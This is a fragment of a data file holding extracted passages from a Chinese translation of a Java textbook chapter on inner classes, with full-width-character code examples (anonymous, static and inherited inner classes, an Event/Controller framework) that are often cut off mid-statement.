ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｐａｒｃｅｌ５ ｐ ＝ ｎｅｗ Ｐａｒｃｅｌ５（）； ｐ．ｔｒａｃｋ（）； ｝ ｝ ／／／：￣ ＴｒａｃｋｉｎｇＳｌｉｐ 类嵌套于一个 ｉｆ 语句的作用域内。"},
    {"text": "下面这个例子看起来有些奇怪： ／／： Ｐａｒｃｅｌ６．ｊａｖａ ／／ Ａ ｍｅｔｈｏｄ ｔｈａｔ ｒｅｔｕｒｎｓ ａｎ ａｎｏｎｙｍｏｕｓ ｉｎｎｅｒ ｃｌａｓｓ ｐａｃｋａｇｅ ｃ０７．ｉｎｎｅｒｓｃｏｐｅｓ；"},
    {"text": "１８３ ｐｕｂｌｉｃ ｃｌａｓｓ Ｐａｒｃｅｌ６ ｛ ｐｕｂｌｉｃ Ｃｏｎｔｅｎｔｓ ｃｏｎｔ（） ｛ ｒｅｔｕｒｎ ｎｅｗ Ｃｏｎｔｅｎｔｓ（） ｛ ｐｒｉｖａｔｅ ｉｎｔ ｉ ＝ １１； ｐｕｂｌｉｃ ｉｎｔ ｖａｌｕｅ（） ｛ ｒｅｔｕｒｎ ｉ；"},
    {"text": "／／ Ｓｅｍｉｃｏｌｏｎ ｒｅｑｕｉｒｅｄ ｉｎ ｔｈｉｓ ｃａｓｅ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｐａｒｃｅｌ６ ｐ ＝ ｎｅｗ Ｐａｒｃｅｌ６（）； Ｃｏｎｔｅｎｔｓ ｃ ＝ ｐ．ｃｏｎｔ（）；"},
    {"text": "而且看起来似乎更让人摸不着头脑的是，我们准备创建一个 Ｃｏｎｔｅｎｔｓ 对象： ｒｅｔｕｒｎ ｎｅｗ Ｃｏｎｔｅｎｔｓ（） 但在这之后，在遇到分号之前，我们又说：“等一等，让我先在一个类定义里再耍一下花招”： ｒｅｔｕｒｎ ｎｅｗ Ｃｏｎｔｅｎｔｓ（） ｛ ｐｒｉｖａｔｅ ｉｎｔ ｉ ＝ １１；"},
    {"text": "下面这段代码展示了基础类需要含有自变量的一个 构建器时做的事情： ／／： Ｐａｒｃｅｌ７．ｊａｖａ ／／ Ａｎ ａｎｏｎｙｍｏｕｓ ｉｎｎｅｒ ｃｌａｓｓ ｔｈａｔ ｃａｌｌｓ ｔｈｅ ／／ ｂａｓｅ－ｃｌａｓｓ ｃｏｎｓｔｒｕｃｔｏｒ ｐａｃｋａｇｅ ｃ０７．ｉｎｎｅｒｓｃｏｐｅｓ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｐａｒｃｅｌ７ ｛ ｐｕｂｌｉｃ Ｗｒａｐｐｉｎｇ ｗｒａｐ（ｉｎｔ ｘ） ｛ ／／ Ｂａｓｅ ｃｏｎｓｔｒｕｃｔｏｒ ｃａｌｌ： ｒｅｔｕｒｎ ｎｅｗ Ｗｒａｐｐｉｎｇ（ｘ） ｛ ｐｕｂｌｉｃ ｉｎｔ ｖａｌｕｅ（） ｛ ｒｅｔｕｒｎ ｓｕｐｅｒ．ｖａｌｕｅ（） ＊ ４７；"},
    {"text": "／／ Ｓｅｍｉｃｏｌｏｎ ｒｅｑｕｉｒｅｄ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｐａｒｃｅｌ７ ｐ ＝ ｎｅｗ Ｐａｒｃｅｌ７（）； Ｗｒａｐｐｉｎｇ ｗ ＝ ｐ．ｗｒａｐ（１０）；"},
    {"text": "１８４ ｝ ｝ ／／／：￣ 也就是说，我们将适当的自变量简单地传递给基础类构建器，在这儿表现为在“ｎｅｗ Ｗｒａｐｐｉｎｇ（ｘ）”中传递 ｘ。"},
    {"text": "然而，我们可在定义自己的字段时进行初始化： ／／： Ｐａｒｃｅｌ８．ｊａｖａ ／／ Ａｎ ａｎｏｎｙｍｏｕｓ ｉｎｎｅｒ ｃｌａｓｓ ｔｈａｔ ｐｅｒｆｏｒｍｓ ／／ ｉｎｉｔｉａｌｉｚａｔｉｏｎ． Ａ ｂｒｉｅｆｅｒ ｖｅｒｓｉｏｎ ／／ ｏｆ Ｐａｒｃｅｌ５．ｊａｖａ． ｐａｃｋａｇｅ ｃ０７．ｉｎｎｅｒｓｃｏｐｅｓ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｐａｒｃｅｌ８ ｛ ／／ Ａｒｇｕｍｅｎｔ ｍｕｓｔ ｂｅ ｆｉｎａｌ ｔｏ ｕｓｅ ｉｎｓｉｄｅ ／／ ａｎｏｎｙｍｏｕｓ ｉｎｎｅｒ ｃｌａｓｓ： ｐｕｂｌｉｃ Ｄｅｓｔｉｎａｔｉｏｎ ｄｅｓｔ（ｆｉｎａｌ Ｓｔｒｉｎｇ ｄｅｓｔ） ｛ ｒｅｔｕｒｎ ｎｅｗ Ｄｅｓｔｉｎａｔｉｏｎ（） ｛ ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｌａｂｅｌ ＝ ｄｅｓｔ； ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｒｅａｄＬａｂｅｌ（） ｛ ｒｅｔｕｒｎ ｌａｂｅｌ；"},
    {"text": "｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｐａｒｃｅｌ８ ｐ ＝ ｎｅｗ Ｐａｒｃｅｌ８（）； Ｄｅｓｔｉｎａｔｉｏｎ ｄ ＝ ｐ．ｄｅｓｔ（＂Ｔａｎｚａｎｉａ＂）；"},
    {"text": "通过 Ｊａｖａ １．１ 的实例初始化，我们可以有效地为一个匿名内部类创建一个构建器： ／／： Ｐａｒｃｅｌ９．ｊａｖａ ／／ Ｕｓｉｎｇ ＂ｉｎｓｔａｎｃｅ ｉｎｉｔｉａｌｉｚａｔｉｏｎ＂ ｔｏ ｐｅｒｆｏｒｍ ／／ ｃｏｎｓｔｒｕｃｔｉｏｎ ｏｎ ａｎ ａｎｏｎｙｍｏｕｓ ｉｎｎｅｒ ｃｌａｓｓ ｐａｃｋａｇｅ ｃ０７．ｉｎｎｅｒｓｃｏｐｅｓ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｐａｒｃｅｌ９ ｛ ｐｕｂｌｉｃ Ｄｅｓｔｉｎａｔｉｏｎ ｄｅｓｔ（ｆｉｎａｌ Ｓｔｒｉｎｇ ｄｅｓｔ， ｆｉｎａｌ ｆｌｏａｔ ｐｒｉｃｅ） ｛ ｒｅｔｕｒｎ ｎｅｗ Ｄｅｓｔｉｎａｔｉｏｎ（） ｛ ｐｒｉｖａｔｅ ｉｎｔ ｃｏｓｔ； ／／ Ｉｎｓｔａｎｃｅ ｉｎｉｔｉａｌｉｚａｔｉｏｎ ｆｏｒ ｅａｃｈ ｏｂｊｅｃｔ： ｛ ｃｏｓｔ ＝ Ｍａｔｈ．ｒｏｕｎｄ（ｐｒｉｃｅ）； ｉｆ（ｃｏｓｔ ＞ １００） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｏｖｅｒ ｂｕｄｇｅｔ！"},
    {"text": "｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｐａｒｃｅｌ９ ｐ ＝ ｎｅｗ Ｐａｒｃｅｌ９（）； Ｄｅｓｔｉｎａｔｉｏｎ ｄ ＝ ｐ．ｄｅｓｔ（＂Ｔａｎｚａｎｉａ＂， １０１．３９５Ｆ）；"},
    {"text": "下面这个例子阐示了这个 问题： ／／： Ｓｅｑｕｅｎｃｅ．ｊａｖａ ／／ Ｈｏｌｄｓ ａ ｓｅｑｕｅｎｃｅ ｏｆ Ｏｂｊｅｃｔｓ ｉｎｔｅｒｆａｃｅ Ｓｅｌｅｃｔｏｒ ｛ ｂｏｏｌｅａｎ ｅｎｄ（）； Ｏｂｊｅｃｔ ｃｕｒｒｅｎｔ（）； ｖｏｉｄ ｎｅｘｔ（）； ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｓｅｑｕｅｎｃｅ ｛ ｐｒｉｖａｔｅ Ｏｂｊｅｃｔ［］ ｏ； ｐｒｉｖａｔｅ ｉｎｔ ｎｅｘｔ ＝ ０； ｐｕｂｌｉｃ Ｓｅｑｕｅｎｃｅ（ｉｎｔ ｓｉｚｅ） ｛ ｏ ＝ ｎｅｗ Ｏｂｊｅｃｔ［ｓｉｚｅ］； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｄ（Ｏｂｊｅｃｔ ｘ） ｛ ｉｆ（ｎｅｘｔ ＜ ｏ．ｌｅｎｇｔｈ） ｛ ｏ［ｎｅｘｔ］ ＝ ｘ； ｎｅｘｔ＋＋； ｝ ｝ ｐｒｉｖａｔｅ ｃｌａｓｓ ＳＳｅｌｅｃｔｏｒ ｉｍｐｌｅｍｅｎｔｓ Ｓｅｌｅｃｔｏｒ ｛ ｉｎｔ ｉ ＝ ０； ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｅｎｄ（） ｛ ｒｅｔｕｒｎ ｉ ＝＝ ｏ．ｌｅｎｇｔｈ； ｝ ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｃｕｒｒｅｎｔ（） ｛ ｒｅｔｕｒｎ ｏ［ｉ］； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｎｅｘｔ（） ｛ ｉｆ（ｉ ＜ ｏ．ｌｅｎｇｔｈ） ｉ＋＋； １８６ ｝ ｝ ｐｕｂｌｉｃ Ｓｅｌｅｃｔｏｒ ｇｅｔＳｅｌｅｃｔｏｒ（） ｛ ｒｅｔｕｒｎ ｎｅｗ ＳＳｅｌｅｃｔｏｒ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｅｑｕｅｎｃｅ ｓ ＝ ｎｅｗ Ｓｅｑｕｅｎｃｅ（１０）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ １０； ｉ＋＋） ｓ．ａｄｄ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｉ））； Ｓｅｌｅｃｔｏｒ ｓｌ ＝ ｓ．ｇｅｔＳｅｌｅｃｔｏｒ（）；"},
    {"text": "我们调用 ａｄｄ（），以便将一个新 对象添加到 Ｓｅｑｕｅｎｃｅ 末尾（如果还有地方的话）。 为了取得 Ｓｅｑｕｅｎｃｅ 中的每一个对象，要使用一个名为 Ｓｅｌｅｃｔｏｒ 的接口，它使我们能够知道自己是否位于最末尾（ｅｎｄ（）），能观看当前对象（ｃｕｒｒｅｎｔ（） Ｏｂｊｅｃｔ），以及能够移至 Ｓｅｑｕｅｎｃｅ 内的下一个对象（ｎｅｘｔ（） Ｏｂｊｅｃｔ）。"},
    {"text": "由于 Ｓｅｌｅｃｔｏｒ 是一个接口，所以其 他许多类都能用它们自己的方式实现接口，而且许多方法都能将接口作为一个自变量使用，从而创建一般的 代码。"},
    {"text": "７ ． ６ ． ４ ｓ ｔ ａ ｔ ｉ ｃ 内部类 为正确理解 ｓｔａｔｉｃ 在应用于内部类时的含义，必须记住内部类的对象默认持有创建它的那个封装类的一个对 象的句柄。"},
    {"text": "（２） 不能从 ｓｔａｔｉｃ 内部类的一个对象中访问一个外部类对象。 但在存在一些限制：由于 ｓｔａｔｉｃ 成员只能位于一个类的外部级别，所以内部类不可拥有 ｓｔａｔｉｃ 数据或 ｓｔａｔｉｃ 内部类。"},
    {"text": "如下所示： ／／： Ｐａｒｃｅｌ１０．ｊａｖａ ／／ Ｓｔａｔｉｃ ｉｎｎｅｒ ｃｌａｓｓｅｓ １８７ ｐａｃｋａｇｅ ｃ０７．ｐａｒｃｅｌ１０； ａｂｓｔｒａｃｔ ｃｌａｓｓ Ｃｏｎｔｅｎｔｓ ｛ ａｂｓｔｒａｃｔ ｐｕｂｌｉｃ ｉｎｔ ｖａｌｕｅ（）； ｝ ｉｎｔｅｒｆａｃｅ Ｄｅｓｔｉｎａｔｉｏｎ ｛ Ｓｔｒｉｎｇ ｒｅａｄＬａｂｅｌ（）； ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｐａｒｃｅｌ１０ ｛ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｃｌａｓｓ ＰＣｏｎｔｅｎｔｓ ｅｘｔｅｎｄｓ Ｃｏｎｔｅｎｔｓ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｉ ＝ １１； ｐｕｂｌｉｃ ｉｎｔ ｖａｌｕｅ（） ｛ ｒｅｔｕｒｎ ｉ； ｝ ｝ ｐｒｏｔｅｃｔｅｄ ｓｔａｔｉｃ ｃｌａｓｓ ＰＤｅｓｔｉｎａｔｉｏｎ ｉｍｐｌｅｍｅｎｔｓ Ｄｅｓｔｉｎａｔｉｏｎ ｛ ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｌａｂｅｌ； ｐｒｉｖａｔｅ ＰＤｅｓｔｉｎａｔｉｏｎ（Ｓｔｒｉｎｇ ｗｈｅｒｅＴｏ） ｛ ｌａｂｅｌ ＝ ｗｈｅｒｅＴｏ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｒｅａｄＬａｂｅｌ（） ｛ ｒｅｔｕｒｎ ｌａｂｅｌ； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｄｅｓｔｉｎａｔｉｏｎ ｄｅｓｔ（Ｓｔｒｉｎｇ ｓ） ｛ ｒｅｔｕｒｎ ｎｅｗ ＰＤｅｓｔｉｎａｔｉｏｎ（ｓ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｃｏｎｔｅｎｔｓ ｃｏｎｔ（） ｛ ｒｅｔｕｒｎ ｎｅｗ ＰＣｏｎｔｅｎｔｓ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃｏｎｔｅｎｔｓ ｃ ＝ ｃｏｎｔ（）； Ｄｅｓｔｉｎａｔｉｏｎ ｄ ＝ ｄｅｓｔ（＂Ｔａｎｚａｎｉａ＂）；"},
    {"text": "由于类是“静态”的， 所以它不会违反接口的规则——ｓｔａｔｉｃ 内部类只位于接口的命名空间内部： ／／： ＩＩｎｔｅｒｆａｃｅ．ｊａｖａ ／／ Ｓｔａｔｉｃ ｉｎｎｅｒ ｃｌａｓｓｅｓ ｉｎｓｉｄｅ ｉｎｔｅｒｆａｃｅｓ ｉｎｔｅｒｆａｃｅ ＩＩｎｔｅｒｆａｃｅ ｛ ｓｔａｔｉｃ ｃｌａｓｓ Ｉｎｎｅｒ ｛ ｉｎｔ ｉ， ｊ， ｋ；"},
    {"text": "ｐｕｂｌｉｃ Ｉｎｎｅｒ（） ｛｝ ｖｏｉｄ ｆ（） ｛｝ ｝ ｝ ／／／：￣ １８８ 在本书早些时候，我建议大家在每个类里都设置一个 ｍａｉｎ（），将其作为那个类的测试床使用。"},
    {"text": "如下所示： ／／： ＴｅｓｔＢｅｄ．ｊａｖａ ／／ Ｐｕｔｔｉｎｇ ｔｅｓｔ ｃｏｄｅ ｉｎ ａ ｓｔａｔｉｃ ｉｎｎｅｒ ｃｌａｓｓ ｃｌａｓｓ ＴｅｓｔＢｅｄ ｛ ＴｅｓｔＢｅｄ（） ｛｝ ｖｏｉｄ ｆ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｆ（）＂）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｃｌａｓｓ Ｔｅｓｔｅｒ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＴｅｓｔＢｅｄ ｔ ＝ ｎｅｗ ＴｅｓｔＢｅｄ（）；"},
    {"text": "｝ ｝ ｝ ／／／：￣ 这样便生成一个独立的、名为 ＴｅｓｔＢｅｄ￥Ｔｅｓｔｅｒ 的类（为运行程序，请使用“ｊａｖａ ＴｅｓｔＢｅｄ￥Ｔｅｓｔｅｒ”命 令）。"},
    {"text": "７ ． ６ ． ５ 引用外部类对象 若想生成外部类对象的句柄，就要用一个点号以及一个 ｔｈｉｓ 来命名外部类。 举个例子来说，在 Ｓｅｑｕｅｎｃｅ．ＳＳｅｌｅｃｔｏｒ 类中，它的所有方法都能产生外部类 Ｓｅｑｕｅｎｃｅ 的存储句柄，方法是采用 Ｓｅｑｕｅｎｃｅ．ｔｈｉｓ 的形式。"},
    {"text": "为达到这个目的，必须在 ｎｅｗ 表达式中 提供指向其他外部类对象的一个句柄，就象下面这样： ／／： Ｐａｒｃｅｌ１１．ｊａｖａ ／／ Ｃｒｅａｔｉｎｇ ｉｎｎｅｒ ｃｌａｓｓｅｓ ｐａｃｋａｇｅ ｃ０７．ｐａｒｃｅｌ１１；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｐａｒｃｅｌ１１ ｛ ｃｌａｓｓ Ｃｏｎｔｅｎｔｓ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｉ ＝ １１； ｐｕｂｌｉｃ ｉｎｔ ｖａｌｕｅ（） ｛ ｒｅｔｕｒｎ ｉ； ｝ ｝ ｃｌａｓｓ Ｄｅｓｔｉｎａｔｉｏｎ ｛ ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｌａｂｅｌ； Ｄｅｓｔｉｎａｔｉｏｎ（Ｓｔｒｉｎｇ ｗｈｅｒｅＴｏ） ｛ ｌａｂｅｌ ＝ ｗｈｅｒｅＴｏ； ｝ Ｓｔｒｉｎｇ ｒｅａｄＬａｂｅｌ（） ｛ ｒｅｔｕｒｎ ｌａｂｅｌ； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｐａｒｃｅｌ１１ ｐ ＝ ｎｅｗ Ｐａｒｃｅｌ１１（）； ／／ Ｍｕｓｔ ｕｓｅ ｉｎｓｔａｎｃｅ ｏｆ ｏｕｔｅｒ ｃｌａｓｓ ／／ ｔｏ ｃｒｅａｔｅ ａｎ ｉｎｓｔａｎｃｅｓ ｏｆ ｔｈｅ ｉｎｎｅｒ ｃｌａｓｓ： Ｐａｒｃｅｌ１１．Ｃｏｎｔｅｎｔｓ ｃ ＝ ｐ．ｎｅｗ Ｃｏｎｔｅｎｔｓ（）； Ｐａｒｃｅｌ１１．Ｄｅｓｔｉｎａｔｉｏｎ ｄ ＝ ｐ．ｎｅｗ Ｄｅｓｔｉｎａｔｉｏｎ（＂Ｔａｎｚａｎｉａ＂）；"},
    {"text": "｝ １８９ ｝ ／／／：￣ 为直接创建内部类的一个对象，不能象大家或许猜想的那样——采用相同的形式，并引用外部类名 Ｐａｒｃｅｌ１１。 此时，必须利用外部类的一个对象生成内部类的一个对象： Ｐａｒｃｅｌ１１．Ｃｏｎｔｅｎｔｓ ｃ ＝ ｐ．ｎｅｗ Ｃｏｎｔｅｎｔｓ（）；"},
    {"text": "７ ． ６ ． ６ 从内部类继承 由于内部类构建器必须同封装类对象的一个句柄联系到一起，所以从一个内部类继承的时候，情况会稍微变 得有些复杂。"},
    {"text": "解决这个问题的办法是采用一种特殊的语法，明确建立这种关联： ／／： ＩｎｈｅｒｉｔＩｎｎｅｒ．ｊａｖａ ／／ Ｉｎｈｅｒｉｔｉｎｇ ａｎ ｉｎｎｅｒ ｃｌａｓｓ ｃｌａｓｓ ＷｉｔｈＩｎｎｅｒ ｛ ｃｌａｓｓ Ｉｎｎｅｒ ｛｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＩｎｈｅｒｉｔＩｎｎｅｒ ｅｘｔｅｎｄｓ ＷｉｔｈＩｎｎｅｒ．Ｉｎｎｅｒ ｛ ／／！ ＩｎｈｅｒｉｔＩｎｎｅｒ（） ｛｝ ／／ Ｗｏｎ＇ｔ ｃｏｍｐｉｌｅ ＩｎｈｅｒｉｔＩｎｎｅｒ（ＷｉｔｈＩｎｎｅｒ ｗｉ） ｛ ｗｉ．ｓｕｐｅｒ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＷｉｔｈＩｎｎｅｒ ｗｉ ＝ ｎｅｗ ＷｉｔｈＩｎｎｅｒ（）； ＩｎｈｅｒｉｔＩｎｎｅｒ ｉｉ ＝ ｎｅｗ ＩｎｈｅｒｉｔＩｎｎｅｒ（ｗｉ）；"},
    {"text": "这看起来似乎是一个非常有用的概念，但“覆盖”一个内部类——好象它是外部类的 另一个方法——这一概念实际不能做任何事情： ／／： ＢｉｇＥｇｇ．ｊａｖａ ／／ Ａｎ ｉｎｎｅｒ ｃｌａｓｓ ｃａｎｎｏｔ ｂｅ ｏｖｅｒｒｉｄｅｎ ／／ ｌｉｋｅ ａ ｍｅｔｈｏｄ ｃｌａｓｓ Ｅｇｇ ｛ ｐｒｏｔｅｃｔｅｄ ｃｌａｓｓ Ｙｏｌｋ ｛ ｐｕｂｌｉｃ Ｙｏｌｋ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｅｇｇ．Ｙｏｌｋ（）＂）；"},
    {"text": "１９０ ｝ ｝ ｐｒｉｖａｔｅ Ｙｏｌｋ ｙ； ｐｕｂｌｉｃ Ｅｇｇ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｎｅｗ Ｅｇｇ（）＂）； ｙ ＝ ｎｅｗ Ｙｏｌｋ（）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＢｉｇＥｇｇ ｅｘｔｅｎｄｓ Ｅｇｇ ｛ ｐｕｂｌｉｃ ｃｌａｓｓ Ｙｏｌｋ ｛ ｐｕｂｌｉｃ Ｙｏｌｋ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＢｉｇＥｇｇ．Ｙｏｌｋ（）＂）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｎｅｗ ＢｉｇＥｇｇ（）；"},
    {"text": "输出如下： Ｎｅｗ Ｅｇｇ（） Ｅｇｇ．Ｙｏｌｋ（） 这个例子简单地揭示出当我们从外部类继承的时候，没有任何额外的内部类继续下去。 然而，仍然有可能 “明确”地从内部类继承： ／／： ＢｉｇＥｇｇ２．ｊａｖａ ／／ Ｐｒｏｐｅｒ ｉｎｈｅｒｉｔａｎｃｅ ｏｆ ａｎ ｉｎｎｅｒ ｃｌａｓｓ ｃｌａｓｓ Ｅｇｇ２ ｛ ｐｒｏｔｅｃｔｅｄ ｃｌａｓｓ Ｙｏｌｋ ｛ ｐｕｂｌｉｃ Ｙｏｌｋ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｅｇｇ２．Ｙｏｌｋ（）＂）；"},
    {"text": "｝ ｐｕｂｌｉｃ ｖｏｉｄ ｆ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｅｇｇ２．Ｙｏｌｋ．ｆ（）＂）； ｝ ｝ ｐｒｉｖａｔｅ Ｙｏｌｋ ｙ ＝ ｎｅｗ Ｙｏｌｋ（）； ｐｕｂｌｉｃ Ｅｇｇ２（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｎｅｗ Ｅｇｇ２（）＂）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｓｅｒｔＹｏｌｋ（Ｙｏｌｋ ｙｙ） ｛ ｙ ＝ ｙｙ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｇ（） ｛ ｙ．ｆ（）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＢｉｇＥｇｇ２ ｅｘｔｅｎｄｓ Ｅｇｇ２ ｛ ｐｕｂｌｉｃ ｃｌａｓｓ Ｙｏｌｋ ｅｘｔｅｎｄｓ Ｅｇｇ２．Ｙｏｌｋ ｛ ｐｕｂｌｉｃ Ｙｏｌｋ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＢｉｇＥｇｇ２．Ｙｏｌｋ（）＂）； ｝ １９１ ｐｕｂｌｉｃ ｖｏｉｄ ｆ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＢｉｇＥｇｇ２．Ｙｏｌｋ．ｆ（）＂）； ｝ ｝ ｐｕｂｌｉｃ ＢｉｇＥｇｇ２（） ｛ ｉｎｓｅｒｔＹｏｌｋ（ｎｅｗ Ｙｏｌｋ（））； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｅｇｇ２ ｅ２ ＝ ｎｅｗ ＢｉｇＥｇｇ２（）； ｅ２．ｇ（）；"},
    {"text": "输出结果如下： Ｅｇｇ２．Ｙｏｌｋ（） Ｎｅｗ Ｅｇｇ２（） Ｅｇｇ２．Ｙｏｌｋ（） ＢｉｇＥｇｇ２．Ｙｏｌｋ（） ＢｉｇＥｇｇ２．Ｙｏｌｋ．ｆ（） 对 Ｅｇｇ２．Ｙｏｌｋ（）的第二个调用是 ＢｉｇＥｇｇ２．Ｙｏｌｋ 构建器的基础类构建器调用。"},
    {"text": "７ ． ６ ． ８ 内部类标识符 由于每个类都会生成一个．ｃｌａｓｓ 文件，用于容纳与如何创建这个类型的对象有关的所有信息（这种信息产生 了一个名为 Ｃｌａｓｓ 对象的元类），所以大家或许会猜到内部类也必须生成相应的．ｃｌａｓｓ 文件，用来容纳与它 们的 Ｃｌａｓｓ 对象有关的信息。"},
    {"text": "例如，由 ＩｎｈｅｒｉｔＩｎｎｅｒ．ｊａｖａ 创建的．ｃｌａｓｓ 文件包括： ＩｎｈｅｒｉｔＩｎｎｅｒ．ｃｌａｓｓ ＷｉｔｈＩｎｎｅｒ￥Ｉｎｎｅｒ．ｃｌａｓｓ ＷｉｔｈＩｎｎｅｒ．ｃｌａｓｓ 如果内部类是匿名的，那么编译器会简单地生成数字，把它们作为内部类标识符使用。"},
    {"text": "由于它是 Ｊａｖａ 的标准命名机制，所以产生的文件会自动具备“与平台无关”的能力（注意 Ｊａｖａ 编译 器会根据情况改变内部类，使其在不同的平台中能正常工作）。"},
    {"text": "由于默认行为是根据时间控制的，所以部分实施细节可 能包括： ／／： Ｅｖｅｎｔ．ｊａｖａ ／／ Ｔｈｅ ｃｏｍｍｏｎ ｍｅｔｈｏｄｓ ｆｏｒ ａｎｙ ｃｏｎｔｒｏｌ ｅｖｅｎｔ ｐａｃｋａｇｅ ｃ０７．ｃｏｎｔｒｏｌｌｅｒ；"},
    {"text": "ａｂｓｔｒａｃｔ ｐｕｂｌｉｃ ｃｌａｓｓ Ｅｖｅｎｔ ｛ ｐｒｉｖａｔｅ ｌｏｎｇ ｅｖｔＴｉｍｅ； ｐｕｂｌｉｃ Ｅｖｅｎｔ（ｌｏｎｇ ｅｖｅｎｔＴｉｍｅ） ｛ ｅｖｔＴｉｍｅ ＝ ｅｖｅｎｔＴｉｍｅ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｒｅａｄｙ（） ｛ ｒｅｔｕｒｎ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（） ＞＝ ｅｖｔＴｉｍｅ； ｝ ａｂｓｔｒａｃｔ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎ（）； ａｂｓｔｒａｃｔ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｄｅｓｃｒｉｐｔｉｏｎ（）；"},
    {"text": "而且通过第 ８ 章的学习，大家会知道另一些集合可简化我 们的工作，不需要我们编写这些额外的代码： ／／： Ｃｏｎｔｒｏｌｌｅｒ．ｊａｖａ ／／ Ａｌｏｎｇ ｗｉｔｈ Ｅｖｅｎｔ， ｔｈｅ ｇｅｎｅｒｉｃ ／／ ｆｒａｍｅｗｏｒｋ ｆｏｒ ａｌｌ ｃｏｎｔｒｏｌ ｓｙｓｔｅｍｓ： ｐａｃｋａｇｅ ｃ０７．ｃｏｎｔｒｏｌｌｅｒ；"},
